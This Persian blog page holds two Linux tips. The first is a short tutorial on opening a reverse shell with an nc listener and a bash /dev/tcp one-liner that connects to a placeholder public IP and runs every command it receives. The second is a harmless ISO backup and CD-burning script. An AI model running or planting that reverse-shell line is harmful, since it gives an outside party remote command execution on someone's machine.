شل برعکسی! فقط برای لینوکسی‌ها!

بعضی وقت‌ها نیاز میشه که به شل یه لینوکس از راه دور دسترسی پیدا کنید. اما این شل پشت یه فایروالی، natـی، چیزی است که در عمل به شما اجازه دسترسی نمیده.

برای رفع مشکل از یه روشی میشه استفاده کرد به اسم reverse shell!

یه سری ابزار برای اینکار وجود داره اما یه راه سریع هم هست! یه دستور داریم به نام nc که خیلی مفیده! با این دستور می‌تونید یه پورت روی کامپیوتر خودتون باز کنید و هر کی بهش وصل میشه را مشاهده کنید. بعد هر چی شما بگین ارسال بشه برای اون و هرچی هم اون میفرسته شما روی مانیتور ببینید. البته این یه کاربرد این ابزاره که برای کار ما به درد می‌خوره:
روی کامپیوتر خودتون دستور زیر را اجرا کنید:

nc -l -p 8080 -vvv

بعد به دوستتون بگین که روی کامپیوتر خودش این دو تا دستور را اجرا کنه:

exec 5<>/dev/tcp/YOUR_PUBLIC_IP_ADDRESS/8080
cat <&5 | while read line; do $line 2>&5 >&5; done

با اجرای دستور دوم توسط دوستتون شما به یه شل ساده دسترسی پیدا می‌کنید و هر دستوری که تایپ کنید ارسال می‌شه روی کامپیوتر دوستتون و اونجا اجرا می‌شه و خروجیش هم برای شما برمیگرده!
واضح است که به جای YOUR_PUBLIC_IP_ADDRESS باید آی‌پی اینترنت کامپیوتر خودتون را بزارین. که البته باید از اینترنت قابل دسترس باشد. و البته می‌تونید در هر دو طرف ۸۰۸۰ را با یه شماره پورت دیگه عوض کنید!
به همین سادگی به همین خوشمزگی! اینه قدرت لینوکس! حالا ویندوزیا خودشون را بکشند نرم‌افزار team viewer پیدا می‌کنند! 😉
البته شعار گوگل فراموش نشه! not be evil!

پ.ن.۱: این روش را اینجا خوندم
پ.ن.۲: nc در معرفی خودش می‌گه:

nc: TCP/IP swiss army knife

معنی اون هم که واضحه نه؟

ساخت فایل iso و مشاهده محتویات آن در لینوکس

ما یه سرور توی شرکت داریم که کلی فایل روی اون هست. هر چند یه بار هم باید از این اطلاعات پشتیبان تهیه کنیم روی CD و بزاریم توی آرشیو.
چون سرور لینوکسه خیلی از کارها را اتوماتیک کردیم. پشتیبان‌های روزانه/هفتگی با استفاده از cron تهیه می‌شوند و در یک فولدر ذخیره می‌شوند.
برای کپی کردن این اطلاعات روی سی‌دی قبلا دستی می‌رفتیم و اطلاعات را روی سی‌دی write می‌کردیم.
امروز یه اسکریپت ساده نوشتم به این صورت:

#!/bin/bash
today=`date +%Y-%m-%d-%H%M`
genisoimage -vLJ -V "Bakup $today" -o Backup-$today.iso ./cd
isoinfo -Jf -i ./Backup-$today.iso
eject
read -p "Press any key to begin record ... " -n1 -s
eject -T
cdrecord Backup-$today.iso
eject

با این اسکریپت یه فایل iso‌ از محتویات فولد cd ساخته می‌شه با نام روز+ساعتی که دستور اجرا شده.
بعد یه لیست از فایل‌های داخل ایمیج سی‌دی تهیه می‌کنه و نشون میده.
بعد درایو سی‌دی را eject می‌کنه تا بتونیم سی‌دی را بزاریم داخل درایو، بعد که یه کلید زدیم سی‌دی را می‌کشه داخل و شروع می‌کنه به رایت کردن سی‌دی.

این اسکریپت خیلی خیلی ساده است و کلی چک و جنگولک (مثلا چک کردن اینکه این فولدر cd خالی نباشه یا اصلا اضافه کردن اسم فولدر مبدا و …) می‌شه بهش اضافه کرد.

ساده است نه؟